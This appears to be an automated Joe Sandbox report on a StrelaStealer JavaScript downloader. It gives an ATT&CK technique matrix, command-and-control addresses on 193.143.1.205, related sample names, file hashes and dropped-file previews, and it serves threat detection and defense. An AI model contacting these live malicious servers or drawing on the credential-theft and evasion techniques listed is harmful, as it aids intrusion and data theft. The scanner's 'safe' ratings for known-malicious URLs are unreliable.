Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2650280751468214741.js	7%	Virustotal		Browse
2650280751468214741.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/qD	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/mD	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/NumQ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2206559998.0000021E2E170000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3431212193.0000021E2E400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/qD	net.exe, 00000007.00000002.2197395673.000001FB4A035000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2197395673.000001FB4A035000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2197395673.000001FB49FF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/NumQ	net.exe, 00000007.00000002.2197395673.000001FB49FF8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/mD	net.exe, 00000007.00000002.2197395673.000001FB4A035000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588920
Start date and time:	2025-01-11 07:10:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2650280751468214741.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 50.16.47.176, 172.202.163.200, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:11:31	API Interceptor	27x Sleep call for process: powershell.exe modified
01:11:35	API Interceptor	1x Sleep call for process: net.exe modified
01:11:36	API Interceptor	2x Sleep call for process: svchost.exe modified
01:11:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	959032706323392160.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263097302501271
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0g:9JZj5MiKNnNhoxu9
MD5:	4559CD09AC11B1B70B8F6BC14CFA1643
SHA1:	09F21203B31FCF29982126FEAB1FD4245AAB4E19
SHA-256:	D62BF26342A9394090EE6CFF53F7FBC79DAC8CB0D89562CBD0FC3812035C21D0
SHA-512:	9B0CF5C343DEF4B5331F80E29B416CFB14B65EB977137AEB542C648D0E3D3581044F15FA7C3C3882BCC5869943C8CC7ED229E259775CB83241DA3FE0F66D38C3
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x856f3eb9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555898092083093
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	FB520E60CE8B662631D6325CBFB474DE
SHA1:	EA42519EEACAF04E452B0A467EB4EED0874261ED
SHA-256:	57B3F5310AE844DB7C10B29E4FCEF0EB6B0C8E97B0260F3B38FE13A81449C419
SHA-512:	C59587A29A16A99165730CC8EFAFCFD7C1C2D6EDC516391E36EE95C91406D2B65812EB2B559D705A268F1BF4FBE98A6AAAFB7C5A964AA2A27D5A873CC0570CCA
Malicious:	false
Preview:	.o>.... .......7.......X\...;...{......................0.e......!...{?.$....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{......................................$....}..................2e.$....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07976250046393035
Encrypted:	false
SSDEEP:	3:8gYe2sMqfNaAPaU1laWcYa/alluxmO+l/SNxOf:PzDNDPaUyWMGgmOH
MD5:	3F5984C4AAA5684E1BC30CB5733969F0
SHA1:	FA686D492A4D70A8C22CEE4E7DD109F25D65297E
SHA-256:	7FDBDA0356D351B4BB2F468564C1660501FBDB48D72D19ADAB193B9BB67740A9
SHA-512:	C5A0E910A3F785B520676250F0CEA0D83F1277F73C9991D8777C3FB07BFF245F044948165CB2F086E64D4FBE6A76FB885C1A28C423959F02459444CFE3455CF3
Malicious:	false
Preview:	.........................................;...{..$....}...!...{?..........!...{?..!...{?..g...!...{?..................2e.$....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.199069955492682
Encrypted:	false
SSDEEP:	6:iOnMW+q2PN72nKuAl9OmbnIFUtFM5+ZmwrM56VkwON72nKuAl9OmbjLJ:7nMXvVaHAahFUtFM5+/rM5y5OaHAaSJ
MD5:	55D1F22383AC10A72EB2D88276A4B3D5
SHA1:	CA87189A1F2FE9D06778BAFE3D0C215BF36930A0
SHA-256:	3B286663350E4EF62DF5D4C90959F4B7112E01DED12ACB4ACB90C9B83000CF8B
SHA-512:	79E5F9695DF35308CAA4C14AA30EB0C45441A95A06E5F1368D5B01643D0E684F2E021B7C36867FDC55C02B4F08A6794EC4530BE344E1238F26D5976BDD17F09C
Malicious:	false
Preview:	2025/01/11-01:11:35.965 c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:11:35.967 c78 Recovering log #3.2025/01/11-01:11:35.967 c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.199069955492682
Encrypted:	false
SSDEEP:	6:iOnMW+q2PN72nKuAl9OmbnIFUtFM5+ZmwrM56VkwON72nKuAl9OmbjLJ:7nMXvVaHAahFUtFM5+/rM5y5OaHAaSJ
MD5:	55D1F22383AC10A72EB2D88276A4B3D5
SHA1:	CA87189A1F2FE9D06778BAFE3D0C215BF36930A0
SHA-256:	3B286663350E4EF62DF5D4C90959F4B7112E01DED12ACB4ACB90C9B83000CF8B
SHA-512:	79E5F9695DF35308CAA4C14AA30EB0C45441A95A06E5F1368D5B01643D0E684F2E021B7C36867FDC55C02B4F08A6794EC4530BE344E1238F26D5976BDD17F09C
Malicious:	false
Preview:	2025/01/11-01:11:35.965 c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:11:35.967 c78 Recovering log #3.2025/01/11-01:11:35.967 c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.161891939418885
Encrypted:	false
SSDEEP:	6:iOnMeBOq2PN72nKuAl9Ombzo2jMGIFUtFMe/ZmwrMokwON72nKuAl9Ombzo2jMmd:7nMecvVaHAa8uFUtFMe//rMo5OaHAa8z
MD5:	5B2D86742C0715796BA3DBE49B03F0A2
SHA1:	3ED96E6377C6174A904C0E5177B0AADA48042A8F
SHA-256:	13837ACDA0936BEF55D9A450DD3915329B3CCEC8DC0710CF12D9D0F4A2298A94
SHA-512:	094E6572A5A279BE103BCFEC14B2A5B7189E72D8B7C91B4F73F52CC1743EC14FF8A378531C216DFAC745BC4E0746AFF795017AB5B67FDA37C874593902E1CB0B
Malicious:	false
Preview:	2025/01/11-01:11:36.017 784 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:11:36.019 784 Recovering log #3.2025/01/11-01:11:36.020 784 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.161891939418885
Encrypted:	false
SSDEEP:	6:iOnMeBOq2PN72nKuAl9Ombzo2jMGIFUtFMe/ZmwrMokwON72nKuAl9Ombzo2jMmd:7nMecvVaHAa8uFUtFMe//rMo5OaHAa8z
MD5:	5B2D86742C0715796BA3DBE49B03F0A2
SHA1:	3ED96E6377C6174A904C0E5177B0AADA48042A8F
SHA-256:	13837ACDA0936BEF55D9A450DD3915329B3CCEC8DC0710CF12D9D0F4A2298A94
SHA-512:	094E6572A5A279BE103BCFEC14B2A5B7189E72D8B7C91B4F73F52CC1743EC14FF8A378531C216DFAC745BC4E0746AFF795017AB5B67FDA37C874593902E1CB0B
Malicious:	false
Preview:	2025/01/11-01:11:36.017 784 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:11:36.019 784 Recovering log #3.2025/01/11-01:11:36.020 784 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9f544c28-f8f5-4145-8fc9-b267299e2465.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqktEsBdOg2H+caq3QYiubcP7E4TX:Y2sRdsDtpdMHB3QYhbA7n7
MD5:	749DDB9DBBACBAC9DD4C1B002B60A207
SHA1:	6124016BA32840CCF85D91F9CF1BDFD380311ECE
SHA-256:	2F425910FCE4F63D146F9E6F2354364D79B084FC4DF84CBF5A86FB960CAF733D
SHA-512:	2AA635F6EA21B3712892DBF10795DEA87017099D257AC4C1C04EFD659F7D0A1D079BF993029473236897215A25984D44C840F1B407A433BD7AF0E6192064C78C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135907975821","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":309927},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5d42c1.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b74d4c32-9d8d-4d21-9fc1-c129b06fa8f8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.246034480590228
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7mWtoM:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhh
MD5:	CB086815B838C93F194D8573B4247DB9
SHA1:	F76E704EE4243B37B70AF4F091631EC58FBF0A46
SHA-256:	D1CE3F1DDD1E93ADBF3DDC073530C2530402EA32E6FEEC31C6F06A4D33B1B30D
SHA-512:	58CAC4B13CC6E917614FE222CA164CC97D50A5453CE21250E3F8721C634D21D1796031AE2A2D8F83073D17728C218C49A396391B16ED46AA577F4A9537B6D040
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.211575789284699
Encrypted:	false
SSDEEP:	6:iOnMUaq2PN72nKuAl9OmbzNMxIFUtFM28ZZmwrM4oJkwON72nKuAl9OmbzNMFLJ:7nMpvVaHAa8jFUtFM2Q/rMR5OaHAa84J
MD5:	5609660A5AB1B788A0B6691D22DA05F8
SHA1:	BB7B69DA319159352AAEFC8D979696AAD443A1D3
SHA-256:	24821B4980F4D87B9A826B5EC67122DE6C0FA2F231A6F42816927F7DE521036F
SHA-512:	5F85831A910CF89E08B64BA520CD64EFD7B9AE66438620D4AEB9C4E1147D35553C0CD16D46DD7C9568F72E997AB4FC3B1EADC91B0EF01DB0185AE6692A769E88
Malicious:	false
Preview:	2025/01/11-01:11:36.929 784 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:11:36.946 784 Recovering log #3.2025/01/11-01:11:36.948 784 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.211575789284699
Encrypted:	false
SSDEEP:	6:iOnMUaq2PN72nKuAl9OmbzNMxIFUtFM28ZZmwrM4oJkwON72nKuAl9OmbzNMFLJ:7nMpvVaHAa8jFUtFM2Q/rMR5OaHAa84J
MD5:	5609660A5AB1B788A0B6691D22DA05F8
SHA1:	BB7B69DA319159352AAEFC8D979696AAD443A1D3
SHA-256:	24821B4980F4D87B9A826B5EC67122DE6C0FA2F231A6F42816927F7DE521036F
SHA-512:	5F85831A910CF89E08B64BA520CD64EFD7B9AE66438620D4AEB9C4E1147D35553C0CD16D46DD7C9568F72E997AB4FC3B1EADC91B0EF01DB0185AE6692A769E88
Malicious:	false
Preview:	2025/01/11-01:11:36.929 784 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:11:36.946 784 Recovering log #3.2025/01/11-01:11:36.948 784 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444626912196963
Encrypted:	false
SSDEEP:	384:ye6ci5tRiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mis3OazzU89UTTgUL
MD5:	E00B902BE72FD8C80226901BBEBFCFA4
SHA1:	BD9194C192DF26D047CEE4A4408422D2C10DE645
SHA-256:	C0AADAADFD8F6D81DF0C260531ED10A74D17470FA5C9AC07D634634309FD2E06
SHA-512:	C24B637D878343095DF20E19908BB70E0357168A721B5CC02A2C2863034DB964A025519C87490C187A2DD323BC8C90775141BE496229F6CA3506A40EA814E653
Malicious:	false
